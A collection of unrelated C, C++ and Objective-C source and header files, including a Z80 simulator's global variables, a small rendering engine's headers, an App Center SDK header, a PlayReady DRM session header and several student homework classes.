static BYTE p_8255_in(BYTE);
static void p_8255_out(BYTE,BYTE);
static BYTE p_ctc_in(BYTE);
static void p_ctc_out(BYTE,BYTE);
static BYTE p_dart_in(BYTE);
static void p_dart_out(BYTE,BYTE);
static void dart_reset(dart_state *);
|
jackcarrozzo/z80sim
|
global.c
|
<filename>global.c
/*
* Z80SIM - a Z80-CPU simulator
*
* Copyright (C) 1987-2008 by <NAME>
*
* History:
* 28-SEP-87 Development on TARGON/35 with AT&T Unix System V.3
* 11-JAN-89 Release 1.1
* 08-FEB-89 Release 1.2
* 13-MAR-89 Release 1.3
* 09-FEB-90 Release 1.4 Ported to TARGON/31 M10/30
* 20-DEC-90 Release 1.5 Ported to COHERENT 3.0
* 10-JUN-92 Release 1.6 long casting problem solved with COHERENT 3.2
* and some optimization
* 25-JUN-92 Release 1.7 comments in english and ported to COHERENT 4.0
* 02-OCT-06 Release 1.8 modified to compile on modern POSIX OS's
* 18-NOV-06 Release 1.9 modified to work with CP/M sources
* 08-DEC-06 Release 1.10 modified MMU for working with CP/NET
* 17-DEC-06 Release 1.11 TCP/IP sockets for CP/NET
* 25-DEC-06 Release 1.12 CPU speed option
* 19-FEB-07 Release 1.13 various improvements
* 06-OCT-07 Release 1.14 bug fixes and improvements
* 06-AUG-08 Release 1.15 many improvements and Windows support via Cygwin
* 25-AUG-08 Release 1.16 console status I/O loop detection and line discipline
* 20-OCT-08 Release 1.17 frontpanel integrated and Altair/IMSAI emulations
*/
/*
* This modul contains all the global variables
*/
#include "config.h"
#define MAXCHAN 5 /* max number of channel for I/O busy detect */
/*
* CPU Registers
*/
BYTE A,B,C,D,E,H,L; /* Z80 primary registers */
int F; /* normaly 8-Bit, but int is faster */
WORD IX, IY;
BYTE A_,B_,C_,D_,E_,H_,L_; /* Z80 alternate registers */
int F_;
BYTE *PC; /* Z80 programm counter */
BYTE *STACK; /* Z80 stackpointer */
BYTE I; /* Z80 interrupt register */
BYTE IFF; /* Z80 interrupt flags */
long R; /* Z80 refresh register */
/* is normaly a 8 bit register */
/* the 32 bits are used to measure the */
/* clock frequency */
#ifdef BUS_8080 /* CPU bus status, for frontpanels */
BYTE cpu_bus;
#endif
BYTE mem_wp; /* memory write-protect flag */
/*
* Variables for memory of the emulated CPU
*/
BYTE ram[65536]; /* 64KB RAM */
BYTE *wrk_ram; /* workpointer into memory for dump etc. */
/*
* Variables for history memory
*/
#ifdef HISIZE
struct history his[HISIZE]; /* memory to hold trace informations */
int h_next; /* index into trace memory */
int h_flag; /* flag for trace memory overrun */
#endif
/*
* Variables for breakpoint memory
*/
#ifdef SBSIZE
struct softbreak soft[SBSIZE]; /* memory to hold breakpoint informations */
int sb_next; /* index into breakpoint memory */
#endif
/*
* Variables for runtime measurement
*/
#ifdef WANT_TIM
long t_states; /* number of counted T states */
int t_flag; /* flag, 1 = on, 0 = off */
BYTE *t_start = ram + 65535; /* start address for measurement */
BYTE *t_end = ram + 65535; /* end address for measurement */
#endif
/*
* Variables for frontpanel emulation
*/
#ifdef FRONTPANEL
unsigned long long fp_clock;
WORD fp_led_address; /* lights for address bus */
BYTE fp_led_data; /* ligths for data bus */
#endif
/*
* Flags to control operation of simulation
*/
int s_flag; /* flag for -s option */
int l_flag; /* flag for -l option */
int m_flag; /* flag for -m option */
int x_flag; /* flag for -x option */
int i_flag; /* flag for -i option */
int f_flag; /* flag for -f option */
#ifdef Z80_UNDOC
int z_flag; /* flag for -z option */
#endif
int q_flag; /* flag for -q option */
char xfn[LENCMD]; /* buffer for filename (option -x) */
BYTE cpu_state; /* status of CPU emulation */
int cpu_error; /* error status of CPU emulation */
int int_type; /* type of interrupt */
int int_lsb; /* data byte for vectored interupts */
int int_vect; /* vector for mode 2 interrupts */
int tmax; /* max t-stats to execute in 10ms */
int int_mode; /* CPU interrupt mode (IM 0, IM 1, IM 2) */
int cntl_c; /* flag for cntl-c entered */
int cntl_bs; /* flag for cntl-\ entered */
/*
* Variables for I/O support
*/
int busy_loop_cnt[MAXCHAN]; /* counters for I/O busy loop detection */
/*
* Table to get parrity as fast as possible
*/
int parrity[256] = {
0 /* 00000000 */, 1 /* 00000001 */, 1 /* 00000010 */,
0 /* 00000011 */, 1 /* 00000100 */, 0 /* 00000101 */,
0 /* 00000110 */, 1 /* 00000111 */, 1 /* 00001000 */,
0 /* 00001001 */, 0 /* 00001010 */, 1 /* 00001011 */,
0 /* 00001100 */, 1 /* 00001101 */, 1 /* 00001110 */,
0 /* 00001111 */, 1 /* 00010000 */, 0 /* 00010001 */,
0 /* 00010010 */, 1 /* 00010011 */, 0 /* 00010100 */,
1 /* 00010101 */, 1 /* 00010110 */, 0 /* 00010111 */,
0 /* 00011000 */, 1 /* 00011001 */, 1 /* 00011010 */,
0 /* 00011011 */, 1 /* 00011100 */, 0 /* 00011101 */,
0 /* 00011110 */, 1 /* 00011111 */, 1 /* 00100000 */,
0 /* 00100001 */, 0 /* 00100010 */, 1 /* 00100011 */,
0 /* 00100100 */, 1 /* 00100101 */, 1 /* 00100110 */,
0 /* 00100111 */, 0 /* 00101000 */, 1 /* 00101001 */,
1 /* 00101010 */, 0 /* 00101011 */, 1 /* 00101100 */,
0 /* 00101101 */, 0 /* 00101110 */, 1 /* 00101111 */,
0 /* 00110000 */, 1 /* 00110001 */, 1 /* 00110010 */,
0 /* 00110011 */, 1 /* 00110100 */, 0 /* 00110101 */,
0 /* 00110110 */, 1 /* 00110111 */, 1 /* 00111000 */,
0 /* 00111001 */, 0 /* 00111010 */, 1 /* 00111011 */,
0 /* 00111100 */, 1 /* 00111101 */, 1 /* 00111110 */,
0 /* 00111111 */, 1 /* 01000000 */, 0 /* 01000001 */,
0 /* 01000010 */, 1 /* 01000011 */, 0 /* 01000100 */,
1 /* 01000101 */, 1 /* 01000110 */, 0 /* 01000111 */,
0 /* 01001000 */, 1 /* 01001001 */, 1 /* 01001010 */,
0 /* 01001011 */, 1 /* 01001100 */, 0 /* 01001101 */,
0 /* 01001110 */, 1 /* 01001111 */, 0 /* 01010000 */,
1 /* 01010001 */, 1 /* 01010010 */, 0 /* 01010011 */,
1 /* 01010100 */, 0 /* 01010101 */, 0 /* 01010110 */,
1 /* 01010111 */, 1 /* 01011000 */, 0 /* 01011001 */,
0 /* 01011010 */, 1 /* 01011011 */, 0 /* 01011100 */,
1 /* 01011101 */, 1 /* 01011110 */, 0 /* 01011111 */,
0 /* 01100000 */, 1 /* 01100001 */, 1 /* 01100010 */,
0 /* 01100011 */, 1 /* 01100100 */, 0 /* 01100101 */,
0 /* 01100110 */, 1 /* 01100111 */, 1 /* 01101000 */,
0 /* 01101001 */, 0 /* 01101010 */, 1 /* 01101011 */,
0 /* 01101100 */, 1 /* 01101101 */, 1 /* 01101110 */,
0 /* 01101111 */, 1 /* 01110000 */, 0 /* 01110001 */,
0 /* 01110010 */, 1 /* 01110011 */, 0 /* 01110100 */,
1 /* 01110101 */, 1 /* 01110110 */, 0 /* 01110111 */,
0 /* 01111000 */, 1 /* 01111001 */, 1 /* 01111010 */,
0 /* 01111011 */, 1 /* 01111100 */, 0 /* 01111101 */,
0 /* 01111110 */, 1 /* 01111111 */,
1 /* 10000000 */, 0 /* 10000001 */, 0 /* 10000010 */,
1 /* 10000011 */, 0 /* 10000100 */, 1 /* 10000101 */,
1 /* 10000110 */, 0 /* 10000111 */, 0 /* 10001000 */,
1 /* 10001001 */, 1 /* 10001010 */, 0 /* 10001011 */,
1 /* 10001100 */, 0 /* 10001101 */, 0 /* 10001110 */,
1 /* 10001111 */, 0 /* 10010000 */, 1 /* 10010001 */,
1 /* 10010010 */, 0 /* 10010011 */, 1 /* 10010100 */,
0 /* 10010101 */, 0 /* 10010110 */, 1 /* 10010111 */,
1 /* 10011000 */, 0 /* 10011001 */, 0 /* 10011010 */,
1 /* 10011011 */, 0 /* 10011100 */, 1 /* 10011101 */,
1 /* 10011110 */, 0 /* 10011111 */, 0 /* 10100000 */,
1 /* 10100001 */, 1 /* 10100010 */, 0 /* 10100011 */,
1 /* 10100100 */, 0 /* 10100101 */, 0 /* 10100110 */,
1 /* 10100111 */, 1 /* 10101000 */, 0 /* 10101001 */,
0 /* 10101010 */, 1 /* 10101011 */, 0 /* 10101100 */,
1 /* 10101101 */, 1 /* 10101110 */, 0 /* 10101111 */,
1 /* 10110000 */, 0 /* 10110001 */, 0 /* 10110010 */,
1 /* 10110011 */, 0 /* 10110100 */, 1 /* 10110101 */,
1 /* 10110110 */, 0 /* 10110111 */, 0 /* 10111000 */,
1 /* 10111001 */, 1 /* 10111010 */, 0 /* 10111011 */,
1 /* 10111100 */, 0 /* 10111101 */, 0 /* 10111110 */,
1 /* 10111111 */, 0 /* 11000000 */, 1 /* 11000001 */,
1 /* 11000010 */, 0 /* 11000011 */, 1 /* 11000100 */,
0 /* 11000101 */, 0 /* 11000110 */, 1 /* 11000111 */,
1 /* 11001000 */, 0 /* 11001001 */, 0 /* 11001010 */,
1 /* 11001011 */, 0 /* 11001100 */, 1 /* 11001101 */,
1 /* 11001110 */, 0 /* 11001111 */, 1 /* 11010000 */,
0 /* 11010001 */, 0 /* 11010010 */, 1 /* 11010011 */,
0 /* 11010100 */, 1 /* 11010101 */, 1 /* 11010110 */,
0 /* 11010111 */, 0 /* 11011000 */, 1 /* 11011001 */,
1 /* 11011010 */, 0 /* 11011011 */, 1 /* 11011100 */,
0 /* 11011101 */, 0 /* 11011110 */, 1 /* 11011111 */,
1 /* 11100000 */, 0 /* 11100001 */, 0 /* 11100010 */,
1 /* 11100011 */, 0 /* 11100100 */, 1 /* 11100101 */,
1 /* 11100110 */, 0 /* 11100111 */, 0 /* 11101000 */,
1 /* 11101001 */, 1 /* 11101010 */, 0 /* 11101011 */,
1 /* 11101100 */, 0 /* 11101101 */, 0 /* 11101110 */,
1 /* 11101111 */, 0 /* 11110000 */, 1 /* 11110001 */,
1 /* 11110010 */, 0 /* 11110011 */, 1 /* 11110100 */,
0 /* 11110101 */, 0 /* 11110110 */, 1 /* 11110111 */,
1 /* 11111000 */, 0 /* 11111001 */, 0 /* 11111010 */,
1 /* 11111011 */, 0 /* 11111100 */, 1 /* 11111101 */,
1 /* 11111110 */, 0 /* 11111111 */
};
|
ramy-zemo/MiniEngine
|
Engine/Source/Engine.h
|
<filename>Engine/Source/Engine.h
#pragma once
#include "Precompiled.h"
#include "Core/Application.h"
#include "Core/Event.h"
#include "Core/Input.h"
#include "Graphics/Renderer.h"
#include "Graphics/Camera.h"
#include "Graphics/Texture.h"
#include "Graphics/Mesh.h"
#include "Graphics/Framebuffer.h"
#include "Util/Math.h"
|
ramy-zemo/MiniEngine
|
Engine/Source/Util/Math.h
|
<gh_stars>1-10
#pragma once
#include "Core/EngineBase.h"
#include <glm/glm.hpp>
namespace Engine
{
struct Ray
{
glm::vec3 origin;
glm::vec3 direction;
};
struct Triangle;
class Math
{
public:
static bool RayIntersectsTriangle(Ray ray, Triangle triangle);
};
}
|
ramy-zemo/MiniEngine
|
Engine/Source/Core/Event.h
|
<gh_stars>1-10
#include "EngineBase.h"
#include <glm/glm.hpp>
#ifdef _MSC_VER
#pragma warning(push)
#pragma warning(disable : 26495)
#endif
namespace Engine
{
enum class EventType
{
None = 0,
// Window Events
WindowClosed, WindowResized, WindowMoved,
// Key Events
KeyPressed, KeyReleased,
// Mouse Events
MouseButtonPressed, MouseButtonReleased,
MouseMoved, MouseScrolled
};
struct WindowEventData
{
glm::vec2 position; // WindowMoved
glm::vec2 size; // WindowResized
};
struct KeyEventData
{
int code; // KeyPressed, KeyReleased
u32 repeatCount; // KeyPressed
};
struct MouseEventData
{
int code; // MouseButtonPressed, MouseButtonReleased
glm::vec2 position; // MouseMoved
glm::vec2 offset; // MouseScrolled
};
struct Event
{
EventType type = EventType::None;
bool handled = false;
union
{
WindowEventData window;
KeyEventData key;
MouseEventData mouse;
};
};
}
#ifdef _MSC_VER
#pragma warning(pop)
#endif
|
ramy-zemo/MiniEngine
|
Editor/Source/Editor.h
|
<gh_stars>1-10
#pragma once
#include <Engine.h>
#include "../imgui/imgui.h"
class Editor : public Engine::Application
{
public:
Editor();
~Editor();
virtual void OnCreate() override;
virtual void OnDestroy() override;
virtual void OnUpdate(float delta) override;
virtual void OnEvent(Engine::Event &event) override;
virtual void OnImGui() override;
static Engine::Application *Create()
{
return new Editor();
}
private:
void MainRenderPass();
void CompositionRenderPass();
void BeginDockspace();
void EndDockspace();
Engine::Ray CastRay()
{
auto mx = ImGui::GetMousePos().x - m_ViewportPosition.x;
auto my = ImGui::GetMousePos().y - m_ViewportPosition.y;
float mouseX = (mx / m_ViewportSize.x) * 2.0f - 1.0f;
float mouseY = ((my / m_ViewportSize.y) * 2.0f - 1.0f) * -1.0f;
glm::vec4 mouseClipPos = { mouseX, mouseY, -1.0f, 1.0f };
auto inverseProj = glm::inverse(m_Camera.GetProjectionMatrix());
auto inverseView = glm::inverse(glm::mat3(m_Camera.GetViewMatrix()));
glm::vec4 ray = inverseProj * mouseClipPos;
glm::vec3 rayPos = m_Camera.GetPosition();
glm::vec3 rayDir = inverseView * glm::vec3(ray);
return { rayPos, rayDir };
}
private:
glm::vec2 m_ViewportPosition = { 0.0f, 0.0f };
glm::vec2 m_ViewportSize = { 1280.0f, 720.0f };
bool m_ViewportSizeChanged = false;
bool m_ViewportHovered = false;
bool m_ViewportFocused = false;
private:
SharedPtr<Engine::TextureCube> m_RadianceMap;
SharedPtr<Engine::TextureCube> m_IrradianceMap;
SharedPtr<Engine::Texture> m_BRDFLUTImage;
SharedPtr<Engine::Shader> m_SkyboxShader;
SharedPtr<Engine::Framebuffer> m_MainFramebuffer;
SharedPtr<Engine::Framebuffer> m_FinalFramebuffer;
Engine::EditorCamera m_Camera;
SharedPtr<Engine::Shader> m_GridShader;
SharedPtr<Engine::Shader> m_OutlineShader;
SharedPtr<Engine::Shader> m_CompositionShader;
SharedPtr<Engine::Shader> m_PBRShader;
SharedPtr<Engine::Mesh> m_TestMesh;
SharedPtr<Engine::Mesh> m_RoundedCube;
bool m_IsMeshSelected = false;
bool m_RenderLines = false;
bool m_EnableTonemapping = true;
float m_Exposure = 1.0f;
RendererID skyboxVAO;
float m_TextureLod = 0.0f;
};
|
ramy-zemo/MiniEngine
|
Engine/Source/Graphics/Renderer.h
|
#pragma once
#include "Core/EngineBase.h"
#include <glm/glm.hpp>
#include "GraphicsPipeline.h"
namespace Engine
{
class Mesh;
class Renderer
{
public:
static void Initialize();
static void Shutdown();
static void Clear();
static void SetClearColor(const glm::vec4 &clearColor);
static void RenderLines(bool enable = true);
static void SetLineThickness(float thickness);
static void SubmitQuad(const SharedPtr<Shader> &shader);
static void SubmitLine(const glm::vec3 &from, const glm::vec3 &to, const glm::vec4 color = glm::vec4(0.0f), float thickness = 1.0f);
static void SubmitMesh(const SharedPtr<Mesh> &mesh, const glm::mat4 &transform);
static void SubmitMeshWithShader(const SharedPtr<Mesh>& mesh, const glm::mat4& transform, const SharedPtr<Shader>& shader);
static void SubmitPipeline(const GraphicsPipeline &pipeline);
};
}
|
ramy-zemo/MiniEngine
|
Engine/Source/Graphics/Camera.h
|
#pragma once
#include "Core/EngineBase.h"
#include <glm/glm.hpp>
namespace Engine
{
struct Event;
class EditorCamera;
class OrbitCamera
{
public:
OrbitCamera(float fov, float aspectRatio, float nearClip, float farClip);
~OrbitCamera();
void Rotate(const glm::vec2 &offset);
void Zoom(float offset);
void Move(const glm::vec2 &offset);
void OnEvent(Event &event);
void OnResize(u32 width, u32 height);
const glm::vec3 &GetPosition() const;
const glm::mat4 &GetProjectionViewMatrix() const;
private:
glm::vec3 GetUpDirection() const;
glm::vec3 GetRightDirection() const;
glm::vec3 GetForwardDirection() const;
glm::quat GetOrientation() const;
void RecalculateCameraMatrices();
glm::vec3 CalculatePosition() const;
private:
float m_FOV, m_AspectRatio; // Set in constructor
float m_NearClip, m_FarClip;
glm::vec3 m_Position = { 0.0f, 0.0f, 0.0f };
glm::vec3 m_FocalPoint = { 0.0f, 0.0f, 0.0f };
glm::mat4 m_ProjectionMatrix, m_ViewMatrix;
glm::mat4 m_ProjectionViewMatrix;
glm::vec2 m_InitialMousePosition = { 0.0f, 0.0f };
float m_Distance = 10.0f;
float m_Yaw = 0.0f, m_Pitch = glm::radians(45.0f);
float m_MovementSpeed = 1.0f;
float m_RotationSpeed = 0.005f;
float m_ZoomSpeed = 0.5f;
glm::vec2 m_PreviousMousePosition = { 0.0f, 0.0f };
friend class EditorCamera;
};
class FPSCamera
{
public:
FPSCamera(float fov, float aspectRatio, float nearClip, float farClip);
~FPSCamera();
void OnUpdate(float delta);
void OnEvent(Event &event);
void OnResize(u32 width, u32 height);
const glm::mat4 &GetProjectionViewMatrix() const;
private:
void RecalculateCameraMatrices();
private:
float m_FOV, m_AspectRatio; // Set in constructor
float m_NearClip, m_FarClip;
float m_Yaw = 0.0f, m_Pitch = glm::radians(45.0f);
glm::vec3 m_Front, m_Right, m_Up;
glm::vec3 m_Position = { 0.0f, 2.0f, 0.0f };
glm::mat4 m_ProjectionMatrix, m_ViewMatrix;
glm::mat4 m_ProjectionViewMatrix = glm::mat4(1.0f);
glm::vec2 m_PreviousMousePosition = { 0.0f, 0.0f };
friend class EditorCamera;
};
enum class CameraType
{
Orbit = 0, FPS
};
class EditorCamera
{
public:
EditorCamera();
EditorCamera(CameraType type);
~EditorCamera();
void SetCameraType(CameraType type);
CameraType GetCameraType() const;
void OnUpdate(float delta);
void OnEvent(Event &event);
void OnResize(u32 width, u32 height);
const glm::vec3& GetPosition() const;
const glm::mat4& GetProjectionMatrix() const;
const glm::mat4& GetViewMatrix() const;
const glm::mat4 &GetProjectionViewMatrix() const;
private:
CameraType m_CameraType;
OrbitCamera m_OrbitCamera;
FPSCamera m_FPSCamera;
};
}
|
microsoft/appcenter-sdk-react-native
|
TestApp34/ios/Pods/AppCenter/AppCenter-SDK-Apple/iOS/AppCenter.framework/Headers/MSAppCenter.h
|
<filename>TestApp34/ios/Pods/AppCenter/AppCenter-SDK-Apple/iOS/AppCenter.framework/Headers/MSAppCenter.h
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
#import <Foundation/Foundation.h>
#import "MSConstants.h"
@class MSWrapperSdk;
@interface MSAppCenter : NSObject
/**
* Returns the singleton instance of MSAppCenter.
*/
+ (instancetype)sharedInstance;
/**
* Configure the SDK with an application secret.
*
* @param appSecret A unique and secret key used to identify the application.
*
* @discussion This may be called only once per application process lifetime.
*/
+ (void)configureWithAppSecret:(NSString *)appSecret;
/**
* Configure the SDK.
*
* @discussion This may be called only once per application process lifetime.
*/
+ (void)configure;
/**
* Configure the SDK with an application secret and an array of services to start.
*
* @param appSecret A unique and secret key used to identify the application.
* @param services Array of services to start.
*
* @discussion This may be called only once per application process lifetime.
*/
+ (void)start:(NSString *)appSecret withServices:(NSArray<Class> *)services;
/**
* Start the SDK with an array of services.
*
* @param services Array of services to start.
*
* @discussion This may be called only once per application process lifetime.
*/
+ (void)startWithServices:(NSArray<Class> *)services;
/**
* Start a service.
*
* @param service A service to start.
*
* @discussion This may be called only once per service per application process lifetime.
*/
+ (void)startService:(Class)service;
/**
* Configure the SDK with an array of services to start from a library. This will not start the service at application level, it will enable
* the service only for the library.
*
* @param services Array of services to start.
*/
+ (void)startFromLibraryWithServices:(NSArray<Class> *)services;
/**
* Check whether the SDK has already been configured or not.
*
* @return YES if configured, NO otherwise.
*/
+ (BOOL)isConfigured;
/**
* Change the base URL (schema + authority + port only) used to communicate with the backend.
*
* @param logUrl Base URL to use for backend communication.
*/
+ (void)setLogUrl:(NSString *)logUrl;
/**
* Enable or disable the SDK as a whole. In addition to AppCenter resources, it will also enable or disable all registered services.
*
* @param isEnabled YES to enable, NO to disable.
*
* @see isEnabled
*/
+ (void)setEnabled:(BOOL)isEnabled;
/**
* Check whether the SDK is enabled or not as a whole.
*
* @return YES if enabled, NO otherwise.
*
* @see setEnabled:
*/
+ (BOOL)isEnabled;
/**
* Get log level.
*
* @return Log level.
*/
+ (MSLogLevel)logLevel;
/**
* Set log level.
*
* @param logLevel The log level.
*/
+ (void)setLogLevel:(MSLogLevel)logLevel;
/**
* Set log level handler.
*
* @param logHandler Handler.
*/
+ (void)setLogHandler:(MSLogHandler)logHandler;
/**
* Set wrapper SDK information to use when building device properties. This is intended in case you are building a SDK that uses the App
* Center SDK under the hood, e.g. our Xamarin SDK or ReactNative SDk.
*
* @param wrapperSdk Wrapper SDK information.
*/
+ (void)setWrapperSdk:(MSWrapperSdk *)wrapperSdk;
/**
* Check whether the application delegate forwarder is enabled or not.
*
* @return YES if enabled, NO otherwise.
*
* @discussion The application delegate forwarder forwards messages that target your application delegate methods via swizzling to the SDK.
* It simplifies the SDK integration but may not be suitable to any situations. For
* instance it should be disabled if you or one of your third party SDK is doing message forwarding on the application delegate. Message
* forwarding usually implies the implementation of @see NSObject#forwardingTargetForSelector: or @see NSObject#forwardInvocation: methods.
* To disable the application delegate forwarder just add the `AppCenterAppDelegateForwarderEnabled` tag to your Info .plist file and set it
* to `0`. Then you will have to forward any application delegate needed by the SDK manually.
*/
+ (BOOL)isAppDelegateForwarderEnabled;
/**
* Get unique installation identifier.
*
* @return Unique installation identifier.
*/
+ (NSUUID *)installId;
/**
* Detect if a debugger is attached to the app process. This is only invoked once on app startup and can not detect
* if the debugger is being attached during runtime!
*
* @return BOOL if the debugger is attached.
*/
+ (BOOL)isDebuggerAttached;
/**
* Get the current version of AppCenter SDK.
*
* @return The current version of AppCenter SDK.
*/
+ (NSString *)sdkVersion;
/**
* Set the maximum size of the internal storage. This method must be called before App Center is started. This method is only intended for
* applications.
*
* @param sizeInBytes Maximum size of the internal storage in bytes. This will be rounded up to the nearest multiple of a SQLite page size
* (default is 4096 bytes). Values below 20,480 bytes (20 KiB) will be ignored.
*
* @param completionHandler Callback that is invoked when the database size has been set. The `BOOL` parameter is `YES` if changing the size
* is successful, and `NO` otherwise. This parameter can be null.
*
* @discussion This only sets the maximum size of the database, but App Center modules might store additional data.
* The value passed to this method is not persisted on disk. The default maximum database size is 10485760 bytes (10 MiB).
*/
+ (void)setMaxStorageSize:(long)sizeInBytes completionHandler:(void (^)(BOOL))completionHandler;
@end
|
ravish-cts/OCDM-Playready-Nexus
|
MediaSession.h
|
<filename>MediaSession.h
/*
* Copyright 2016-2017 TATA ELXSI
* Copyright 2016-2017 Metrological
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include "cdmi.h"
#include <core/core.h>
#include <refsw/nexus_config.h>
#include <refsw/nxclient.h>
#include <refsw/nexus_platform.h>
#include <refsw/nexus_memory.h>
#include <refsw/nexus_random_number.h>
#include <refsw/drm_prdy.h>
#undef __in
#undef __out
namespace CDMi {
class MediaKeySession : public IMediaKeySession {
private:
enum KeyState {
// Has been initialized.
KEY_INIT = 0,
// Has a key message pending to be processed.
KEY_PENDING = 1,
// Has a usable key.
KEY_READY = 2,
// Has an error.
KEY_ERROR = 3,
// Has been closed.
KEY_CLOSED = 4
};
enum MessageType {
LicenseRequest = 0,
LicenseRenewal = 1,
LicenseRelease = 2,
IndividualizationRequest = 3
};
enum LicenseType {
Temporary = 0,
PersistentUsageRecord,
PersistentLicense
};
public:
//static const std::vector<std::string> m_mimeTypes;
MediaKeySession(const uint8_t *f_pbInitData, uint32_t f_cbInitData, const uint8_t *f_pbCDMData, uint32_t f_cbCDMData, int32_t licenseType);
~MediaKeySession();
bool playreadyGenerateKeyRequest();
bool ready() const { return m_eKeyState == KEY_READY; }
// MediaKeySession overrides
virtual void Run(
const IMediaKeySessionCallback *f_piMediaKeySessionCallback);
virtual CDMi_RESULT Load();
virtual void Update(
const uint8_t *f_pbKeyMessageResponse,
uint32_t f_cbKeyMessageResponse);
virtual CDMi_RESULT Remove();
virtual CDMi_RESULT Close(void);
virtual const char *GetSessionId(void) const;
virtual const char *GetKeySystem(void) const;
virtual CDMi_RESULT Decrypt(
const uint8_t *f_pbSessionKey,
uint32_t f_cbSessionKey,
const uint32_t *f_pdwSubSampleMapping,
uint32_t f_cdwSubSampleMapping,
const uint8_t *f_pbIV,
uint32_t f_cbIV,
const uint8_t *f_pbData,
uint32_t f_cbData,
uint32_t *f_pcbOpaqueClearContent,
uint8_t **f_ppbOpaqueClearContent,
const uint8_t keyIdLength,
const uint8_t* keyId,
bool initWithLast15);
virtual CDMi_RESULT ReleaseClearContent(
const uint8_t *f_pbSessionKey,
uint32_t f_cbSessionKey,
const uint32_t f_cbClearContentOpaque,
uint8_t *f_pbClearContentOpaque );
private:
bool generateSessionId();
private:
DRM_Prdy_Handle_t m_prdyHandle;
DRM_Prdy_DecryptContext_t m_oDecryptContext;
DRM_Prdy_DecryptContextKey_t m_oDecryptContextKey;
uint32_t m_DecryptBufferSize;
uint8_t* m_DecryptBuffer;
char *m_rgchSessionID;
bool m_fCommit;
KeyState m_eKeyState;
IMediaKeySessionCallback *m_piCallback;
const uint8_t SESSION_ID_SIZE = 16;
std::string m_customData;
int32_t m_licenseType;
WPEFramework::Core::CriticalSection _decoderLock;
};
} // namespace CDMi
|
noahzhy/cpp_2018_fall
|
hw12-2/linked_list.h
|
<reponame>noahzhy/cpp_2018_fall
#ifndef __linked_list__
#define __linked_list__
#include <iostream>
using namespace std;
template <class T>
class Node {
public:
T data;
Node<T>* next;
};
template <class T>
class List {
private:
Node<T> *head;
public:
List() : head(NULL) {};
~List() {
while (head) {
Node<T>* ptr = head->next;
delete head;
head = ptr;
}
}
List(T* arr, int n_nodes) {
Node<T>* ptn = new Node<T>;
for(size_t i = 0; i< n_nodes; i++) {
if (i==0) {
head = ptn;
}
ptn->data = arr[i];
ptn->next = new Node<T>;
ptn = ptn->next;
}
ptn->next = NULL;
}
void insert_at(int idx, T data) {
Node<T> *ptr = head;
Node<T> *t = new Node<T>;
int p = 0;
while(ptr->next) {
p++;
if(p == idx) break;
ptr = ptr->next;
}
t->data = data;
t->next = ptr->next;
ptr->next = t;
}
void remove_at(int idx) {
if (idx > 0) {
Node<T>* now = head;
while (--idx && now) {
now = now->next;
}
Node<T>* next_node = now->next;
now->next = next_node->next;
delete next_node;
} else {
pop_front();
}
}
void pop_back() {
if (head) {
Node<T>* prev = NULL;
Node<T>* ptr = head;
while (ptr->next) {
prev = ptr;
ptr = ptr->next;
}
delete ptr;
if (prev) {
prev->next = NULL;
} else {
head = NULL;
}
}
}
void push_back(T val) {
Node<T> *p0, *p1, *p2;
p1 = head;
p2 = new Node<T>;
p0 = new Node<T>;
p0->data = val;
while (p1->next) {
p2 = p1;
p1 = p1->next;
}
if(p1!=head) {
p2->next = p0;
p0->next = p1;
} else {
head = p0;
p0->next = NULL;
}
}
void pop_front() {
Node<T>* new_head = NULL;
if (head->next) {
new_head = head->next;
}
delete head;
head = new_head;
}
void push_front(T val) {
Node<T>* ptr = new Node<T>;
ptr->data = val;
ptr->next = head;
head = ptr;
}
friend ostream& operator<<(ostream& out, List& rhs) {
Node<T>* ptr = rhs.head;
int idx = 0;
while (ptr->next != NULL) {
out << ptr->data;
ptr = ptr->next;
if (ptr->next != NULL) out << ", ";
}
out<<endl;
return out;
}
};
#endif
|
noahzhy/cpp_2018_fall
|
hw12-1/MyContainer.h
|
#ifndef __MyContainer__
#define __MyContainer__
#include <iostream>
using namespace std;
template <typename T>
class MyContainer {
public:
MyContainer() {
obj_arr = NULL;
n_elements = 0;
}
MyContainer(int n) {
obj_arr = new T[n];
n_elements = n;
}
MyContainer(T* arr, int n) {
obj_arr = arr;
n_elements = n;
}
~MyContainer() {
delete[] obj_arr;
}
void clear() {
delete[] obj_arr;
obj_arr = NULL;
n_elements = 0;
}
int size() {
return n_elements;
}
protected:
T* obj_arr = NULL;
int n_elements;
};
#endif
|
noahzhy/cpp_2018_fall
|
hw6-1/simple_shape.h
|
<gh_stars>0
#pragma once
class circle_shape{
public:
double x;
double y;
double r;
double get_area();
double get_perimeter();
};
class rectangle_shape{
public:
int x;
int y;
int x1;
int y1;
double get_area();
double get_perimeter();
};
|
noahzhy/cpp_2018_fall
|
hw8-2/draw_shape.h
|
#ifndef __draw_shape__
#define __draw_shape__
#include <iostream>
using namespace std;
class Shape {
public:
Shape();
Shape(int x, int y, int w, int h, char shape);
double GetArea() {};
int GetPerimeter() {};
void Draw(int canvas_width, int canvas_height) {};
protected:
int X, Y, x_, y_, w_, h_;
char shape_;
};
class Square : public Shape {
public:
Square(int x, int y, int w, char shape);
double GetArea();
int GetPerimeter();
void Draw(int canvas_width, int canvas_height);
};
class Rectangle : public Shape {
public:
Rectangle(int x, int y, int w, int h, char shape);
double GetArea();
int GetPerimeter();
void Draw(int canvas_width, int canvas_height);
};
class Diamond : public Shape {
public:
Diamond(int x, int y, int w, char shape);
double GetArea();
int GetPerimeter();
void Draw(int canvas_width, int canvas_height);
};
#endif
|
noahzhy/cpp_2018_fall
|
hw11-2/world_clock.h
|
<gh_stars>0
#ifndef __WorldClock__
#define __WorldClock__
#include <iostream>
using namespace std;
class WorldClock {
public:
void Tick(int seconds = 1);
bool SetTime(int hour, int minute, int second);
int hour() const;
int minute() const;
int second() const;
private:
int s=0;
};
ostream& operator<<(ostream& os, const WorldClock& c);
istream& operator>>(istream& is, WorldClock& c);
#endif
|
noahzhy/cpp_2018_fall
|
hw11-2/calendar.h
|
#ifndef __calendar__
#define __calendar__
#include <iostream>
using namespace std;
class Date {
public:
Date();
Date(int year, int month, int day);
